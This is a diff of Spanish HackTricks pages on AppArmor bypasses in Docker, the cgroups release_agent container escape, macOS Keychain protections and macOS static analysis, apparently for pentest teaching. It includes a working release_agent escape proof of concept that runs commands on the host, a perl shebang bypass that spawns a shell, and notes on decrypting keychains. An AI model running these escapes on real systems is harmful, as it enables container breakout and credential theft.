@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## Registros
|
||||
## Logs
|
||||
|
||||
Ejemplo de registros de **AUDIT** y **DENIED** del archivo _/var/log/audit/audit.log_ del ejecutable **`service_bin`**:
|
||||
Ejemplo de registros **AUDIT** y **DENIED** de _/var/log/audit/audit.log_ del ejecutable **`service_bin`**:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
También puedes obtener esta información utilizando:
|
||||
También puedes obtener esta información usando:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
|
@ -175,7 +161,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
|||
```
|
||||
## Apparmor en Docker
|
||||
|
||||
Tenga en cuenta cómo el perfil **docker-profile** de docker se carga de forma predeterminada:
|
||||
Nota cómo el perfil **docker-profile** de docker se carga por defecto:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
@ -191,49 +177,49 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
Por defecto, el perfil **Apparmor docker-default** se genera desde [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Por defecto, el **perfil docker-default de Apparmor** se genera a partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
**Resumen del perfil docker-default**:
|
||||
|
||||
- **Acceso** a toda la **red**
|
||||
- No se define ninguna **capacidad** (Sin embargo, algunas capacidades vendrán al incluir reglas base básicas, es decir, #include \<abstractions/base>)
|
||||
- **Escribir** en cualquier archivo **/proc** no está **permitido**
|
||||
- Otros **subdirectorios**/**archivos** de /**proc** y /**sys** tienen acceso **denegado** para leer/escribir/bloquear/enlazar/ejecutar
|
||||
- **Montar** no está **permitido**
|
||||
- **Ptrace** solo se puede ejecutar en un proceso que esté confinado por el **mismo perfil de apparmor**
|
||||
* **Acceso** a toda la **red**
|
||||
* **No se define ninguna capacidad** (Sin embargo, algunas capacidades provendrán de incluir reglas base básicas es decir, #include \<abstractions/base>)
|
||||
* **Escribir** en cualquier archivo de **/proc** **no está permitido**
|
||||
* Otros **subdirectorios**/**archivos** de /**proc** y /**sys** tienen acceso de lectura/escritura/bloqueo/enlace/ejecución **denegado**
|
||||
* **Montar** **no está permitido**
|
||||
* **Ptrace** solo se puede ejecutar en un proceso que está confinado por el **mismo perfil de apparmor**
|
||||
|
||||
Una vez que **ejecutes un contenedor docker**, deberías ver la siguiente salida:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
Ten en cuenta que **apparmor incluso bloqueará los privilegios de capacidades** concedidos al contenedor de forma predeterminada. Por ejemplo, será capaz de **bloquear el permiso de escritura dentro de /proc incluso si se concede la capacidad SYS\_ADMIN** porque por defecto el perfil de apparmor de docker niega este acceso:
|
||||
Note que **apparmor incluso bloqueará los privilegios de capacidades** otorgados al contenedor por defecto. Por ejemplo, podrá **bloquear el permiso para escribir dentro de /proc incluso si se concede la capacidad SYS\_ADMIN** porque, por defecto, el perfil de apparmor de docker niega este acceso:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
Debes **desactivar apparmor** para evadir sus restricciones:
|
||||
Necesitas **deshabilitar apparmor** para eludir sus restricciones:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Ten en cuenta que por defecto **AppArmor** también **prohibirá al contenedor montar** carpetas desde el interior incluso con la capacidad SYS\_ADMIN.
|
||||
Note que por defecto **AppArmor** también **prohibirá que el contenedor monte** carpetas desde adentro incluso con la capacidad SYS\_ADMIN.
|
||||
|
||||
Ten en cuenta que puedes **añadir/eliminar** **capacidades** al contenedor de docker (esto seguirá estando restringido por métodos de protección como **AppArmor** y **Seccomp**):
|
||||
Note que puede **agregar/eliminar** **capacidades** al contenedor de docker (esto seguirá estando restringido por métodos de protección como **AppArmor** y **Seccomp**):
|
||||
|
||||
* `--cap-add=SYS_ADMIN` otorga la capacidad `SYS_ADMIN`
|
||||
* `--cap-add=ALL` otorga todas las capacidades
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` elimina todas las capacidades y solo otorga `SYS_PTRACE`
|
||||
* `--cap-add=SYS_ADMIN` da la capacidad `SYS_ADMIN`
|
||||
* `--cap-add=ALL` da todas las capacidades
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` elimina todas las capacidades y solo da `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Normalmente, cuando **descubres** que tienes una **capacidad privilegiada** disponible **dentro** de un **contenedor docker** pero alguna parte del **exploit no funciona**, esto se debe a que **AppArmor de docker lo está previniendo**.
|
||||
Usualmente, cuando **encuentra** que tiene una **capacidad privilegiada** disponible **dentro** de un **contenedor** **docker** **pero** alguna parte de la **explotación no está funcionando**, esto será porque **apparmor de docker estará impidiendo**.
|
||||
{% endhint %}
|
||||
|
||||
### Ejemplo
|
||||
|
||||
(Ejemplo de [**aquí**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
Para ilustrar la funcionalidad de AppArmor, creé un nuevo perfil de Docker "mydocker" con la siguiente línea añadida:
|
||||
Para ilustrar la funcionalidad de AppArmor, creé un nuevo perfil de Docker “mydocker” con la siguiente línea añadida:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
|
@ -241,17 +227,17 @@ Para activar el perfil, necesitamos hacer lo siguiente:
|
|||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
Para listar los perfiles, podemos usar el siguiente comando. El comando a continuación está listando mi nuevo perfil de AppArmor.
|
||||
Para listar los perfiles, podemos ejecutar el siguiente comando. El comando a continuación está listando mi nuevo perfil de AppArmor.
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
Como se muestra a continuación, obtenemos un error al intentar cambiar "/etc/" ya que el perfil de AppArmor está evitando el acceso de escritura a "/etc".
|
||||
Como se muestra a continuación, obtenemos un error al intentar cambiar “/etc/” ya que el perfil de AppArmor está impidiendo el acceso de escritura a “/etc”.
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### Bypass de AppArmor en Docker1
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
Puedes encontrar qué **perfil de apparmor está ejecutando un contenedor** usando:
|
||||
```bash
|
||||
|
@ -259,17 +245,19 @@ docker inspect 9d622d73a614 | grep lowpriv
|
|||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
Entonces, puedes ejecutar la siguiente línea para **encontrar el perfil exacto que se está utilizando**:
|
||||
Luego, puedes ejecutar la siguiente línea para **encontrar el perfil exacto que se está utilizando**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
En el extraño caso de que puedas **modificar el perfil de docker de apparmor y recargarlo.** Podrías eliminar las restricciones y "eludirlas".
|
||||
|
||||
### Bypass de AppArmor Docker2
|
||||
|
||||
**AppArmor se basa en rutas**, esto significa que incluso si podría estar **protegiendo** archivos dentro de un directorio como **`/proc`**, si puedes **configurar cómo se ejecutará el contenedor**, podrías **montar** el directorio proc del host dentro de **`/host/proc`** y este **ya no estará protegido por AppArmor**.
|
||||
**AppArmor se basa en rutas**, esto significa que incluso si podría estar **protegiendo** archivos dentro de un directorio como **`/proc`**, si puedes **configurar cómo se va a ejecutar el contenedor**, podrías **montar** el directorio proc del host dentro de **`/host/proc`** y **ya no estará protegido por AppArmor**.
|
||||
|
||||
### Bypass de Shebang de AppArmor
|
||||
|
||||
En [**este error**](https://bugs.launchpad.net/apparmor/+bug/1911431) puedes ver un ejemplo de cómo **aunque estés evitando que perl se ejecute con ciertos recursos**, si simplemente creas un script de shell **especificando** en la primera línea **`#!/usr/bin/perl`** y **ejecutas el archivo directamente**, podrás ejecutar lo que desees. Por ejemplo:
|
||||
En [**este error**](https://bugs.launchpad.net/apparmor/+bug/1911431) puedes ver un ejemplo de cómo **incluso si estás impidiendo que perl se ejecute con ciertos recursos**, si simplemente creas un script de shell **especificando** en la primera línea **`#!/usr/bin/perl`** y **ejecutas el archivo directamente**, podrás ejecutar lo que quieras. Por ejemplo:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -279,18 +267,6 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -301,7 +277,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,24 @@
|
|||
# Escapar de cgroups de Docker release_agent
|
||||
# Docker release\_agent cgroups escape
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**Para más detalles, consulta el** [**post original del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este es solo un resumen:
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Para más detalles, consulta el** [**post original del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Esto es solo un resumen:
|
||||
|
||||
PoC Original:
|
||||
Original PoC:
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
|
@ -39,11 +26,11 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
El concepto de prueba (PoC) demuestra un método para explotar cgroups creando un archivo `release_agent` y activando su invocación para ejecutar comandos arbitrarios en el host del contenedor. Aquí tienes un desglose de los pasos involucrados:
|
||||
La prueba de concepto (PoC) demuestra un método para explotar cgroups creando un archivo `release_agent` y provocando su invocación para ejecutar comandos arbitrarios en el host del contenedor. Aquí hay un desglose de los pasos involucrados:
|
||||
|
||||
1. **Preparar el Entorno:**
|
||||
* Se crea un directorio `/tmp/cgrp` para servir como punto de montaje para el cgroup.
|
||||
* El controlador de cgroup RDMA se monta en este directorio. En caso de ausencia del controlador RDMA, se sugiere usar el controlador de cgroup `memory` como alternativa.
|
||||
* Se crea un directorio `/tmp/cgrp` para servir como punto de montaje para el cgroup.
|
||||
* El controlador de cgroup RDMA se monta en este directorio. En caso de ausencia del controlador RDMA, se sugiere usar el controlador de cgroup `memory` como alternativa.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
|
@ -55,7 +42,7 @@ echo 1 > /tmp/cgrp/x/notify_on_release
|
|||
```
|
||||
3. **Configurar el Agente de Liberación:**
|
||||
* La ruta del contenedor en el host se obtiene del archivo /etc/mtab.
|
||||
* Luego se configura el archivo release\_agent del cgroup para ejecutar un script llamado /cmd ubicado en la ruta del host adquirida.
|
||||
* El archivo release\_agent del cgroup se configura para ejecutar un script llamado /cmd ubicado en la ruta del host adquirida.
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
|
@ -67,24 +54,12 @@ echo '#!/bin/sh' > /cmd
|
|||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **Desencadenar el Ataque:**
|
||||
5. **Disparar el Ataque:**
|
||||
* Se inicia un proceso dentro del cgroup hijo "x" y se termina inmediatamente.
|
||||
* Esto desencadena el `release_agent` (el script /cmd), que ejecuta ps aux en el host y escribe la salida en /output dentro del contenedor.
|
||||
* Esto activa el `release_agent` (el script /cmd), que ejecuta ps aux en el host y escribe la salida en /output dentro del contenedor.
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**.
|
||||
|
||||
Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -95,7 +70,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,28 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Main Keychains
|
||||
|
||||
* El **User Keychain** (`~/Library/Keychains/login.keycahin-db`), que se utiliza para almacenar **credenciales específicas del usuario** como contraseñas de aplicaciones, contraseñas de internet, certificados generados por el usuario, contraseñas de red y claves públicas/privadas generadas por el usuario.
|
||||
* El **System Keychain** (`/Library/Keychains/System.keychain`), que almacena **credenciales a nivel de sistema** como contraseñas de WiFi, certificados raíz del sistema, claves privadas del sistema y contraseñas de aplicaciones del sistema.
|
||||
* The **User Keychain** (`~/Library/Keychains/login.keycahin-db`), que se utiliza para almacenar **credenciales específicas del usuario** como contraseñas de aplicaciones, contraseñas de internet, certificados generados por el usuario, contraseñas de red y claves públicas/privadas generadas por el usuario.
|
||||
* The **System Keychain** (`/Library/Keychains/System.keychain`), que almacena **credenciales a nivel de sistema** como contraseñas de WiFi, certificados raíz del sistema, claves privadas del sistema y contraseñas de aplicaciones del sistema.
|
||||
|
||||
### Password Keychain Access
|
||||
|
||||
Estos archivos, aunque no tienen protección inherente y pueden ser **descargados**, están cifrados y requieren la **contraseña en texto plano del usuario para ser descifrados**. Se podría utilizar una herramienta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) para el descifrado.
|
||||
Estos archivos, aunque no tienen protección inherente y pueden ser **descargados**, están encriptados y requieren la **contraseña en texto plano del usuario para ser desencriptados**. Se podría usar una herramienta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) para la desencriptación.
|
||||
|
||||
## Keychain Entries Protections
|
||||
|
||||
|
@ -45,7 +32,7 @@ Estos archivos, aunque no tienen protección inherente y pueden ser **descargado
|
|||
Cada entrada en el llavero está gobernada por **Listas de Control de Acceso (ACLs)** que dictan quién puede realizar varias acciones en la entrada del llavero, incluyendo:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: Permite al titular obtener el texto claro del secreto.
|
||||
* **ACLAuhtorizationExportWrapped**: Permite al titular obtener el texto claro cifrado con otra contraseña proporcionada.
|
||||
* **ACLAuhtorizationExportWrapped**: Permite al titular obtener el texto claro encriptado con otra contraseña proporcionada.
|
||||
* **ACLAuhtorizationAny**: Permite al titular realizar cualquier acción.
|
||||
|
||||
Las ACLs están acompañadas por una **lista de aplicaciones de confianza** que pueden realizar estas acciones sin solicitar confirmación. Esto podría ser:
|
||||
|
@ -54,26 +41,26 @@ Las ACLs están acompañadas por una **lista de aplicaciones de confianza** que
|
|||
* Una lista **vacía** (**nadie** es de confianza)
|
||||
* **Lista** de **aplicaciones** específicas.
|
||||
|
||||
Además, la entrada puede contener la clave **`ACLAuthorizationPartitionID`,** que se utiliza para identificar el **teamid, apple,** y **cdhash.**
|
||||
Además, la entrada podría contener la clave **`ACLAuthorizationPartitionID`,** que se utiliza para identificar el **teamid, apple,** y **cdhash.**
|
||||
|
||||
* Si se especifica el **teamid**, entonces para **acceder al valor de la entrada** **sin** un **mensaje de confirmación**, la aplicación utilizada debe tener el **mismo teamid**.
|
||||
* Si se especifica el **apple**, entonces la aplicación debe estar **firmada** por **Apple**.
|
||||
* Si se especifica el **apple**, entonces la aplicación necesita estar **firmada** por **Apple**.
|
||||
* Si se indica el **cdhash**, entonces la **aplicación** debe tener el **cdhash** específico.
|
||||
|
||||
### Creating a Keychain Entry
|
||||
|
||||
Cuando se crea una **nueva** **entrada** utilizando **`Keychain Access.app`**, se aplican las siguientes reglas:
|
||||
Cuando se crea una **nueva** **entrada** usando **`Keychain Access.app`**, se aplican las siguientes reglas:
|
||||
|
||||
* Todas las aplicaciones pueden cifrar.
|
||||
* **Ninguna aplicación** puede exportar/descifrar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden encriptar.
|
||||
* **Ninguna aplicación** puede exportar/desencriptar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden ver la verificación de integridad.
|
||||
* Ninguna aplicación puede cambiar las ACLs.
|
||||
* El **partitionID** se establece en **`apple`**.
|
||||
|
||||
Cuando una **aplicación crea una entrada en el llavero**, las reglas son ligeramente diferentes:
|
||||
|
||||
* Todas las aplicaciones pueden cifrar.
|
||||
* Solo la **aplicación que crea** (o cualquier otra aplicación añadida explícitamente) puede exportar/descifrar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden encriptar.
|
||||
* Solo la **aplicación que crea** (o cualquier otra aplicación explícitamente añadida) puede exportar/desencriptar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden ver la verificación de integridad.
|
||||
* Ninguna aplicación puede cambiar las ACLs.
|
||||
* El **partitionID** se establece en **`teamid:[teamID aquí]`**.
|
||||
|
@ -145,7 +132,7 @@ Si **apple** está indicado en el **partitionID**, podrías acceder a él con **
|
|||
|
||||
### Dos atributos adicionales
|
||||
|
||||
* **Invisible**: Es una bandera boolean que **oculta** la entrada de la aplicación **UI** de Keychain
|
||||
* **Invisible**: Es una bandera boolean para **ocultar** la entrada de la aplicación **UI** de Keychain
|
||||
* **General**: Es para almacenar **metadatos** (así que NO está CIFRADO)
|
||||
* Microsoft estaba almacenando en texto plano todos los tokens de actualización para acceder a puntos finales sensibles.
|
||||
|
||||
|
@ -153,17 +140,6 @@ Si **apple** está indicado en el **partitionID**, podrías acceder a él con **
|
|||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir los robos de cuentas y ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,6 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png"
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Análisis Estático
|
||||
|
||||
|
@ -127,7 +114,7 @@ It will be mounted in `/Volumes`
|
|||
|
||||
### Binaries empaquetados
|
||||
|
||||
* Verificar la alta entropía
|
||||
* Verificar alta entropía
|
||||
* Verificar las cadenas (si casi no hay cadenas comprensibles, empaquetado)
|
||||
* El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR"
|
||||
|
||||
|
@ -144,7 +131,7 @@ Tenga en cuenta que los programas escritos en Objective-C **retienen** sus decla
|
|||
* Las variables de instancia de la interfaz
|
||||
* Los protocolos definidos
|
||||
|
||||
Tenga en cuenta que estos nombres podrían estar ofuscados para dificultar la inversión del binario.
|
||||
Tenga en cuenta que estos nombres podrían estar ofuscados para dificultar la reversión del binario.
|
||||
|
||||
### Llamada a funciones
|
||||
|
||||
|
@ -170,11 +157,11 @@ x64:
|
|||
| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** |
|
||||
| **2do argumento** | **rsi** | **op: nombre del método** |
|
||||
| **3er argumento** | **rdx** | **1er argumento para el método** |
|
||||
| **4to argumento** | **rcx** | **2do argumento para el método** |
|
||||
| **5to argumento** | **r8** | **3er argumento para el método** |
|
||||
| **6to argumento** | **r9** | **4to argumento para el método** |
|
||||
| **7mo+ argumento** | <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5to+ argumento para el método** |
|
||||
| **3er argumento** | **rdx** | **1er argumento al método** |
|
||||
| **4to argumento** | **rcx** | **2do argumento al método** |
|
||||
| **5to argumento** | **r8** | **3er argumento al método** |
|
||||
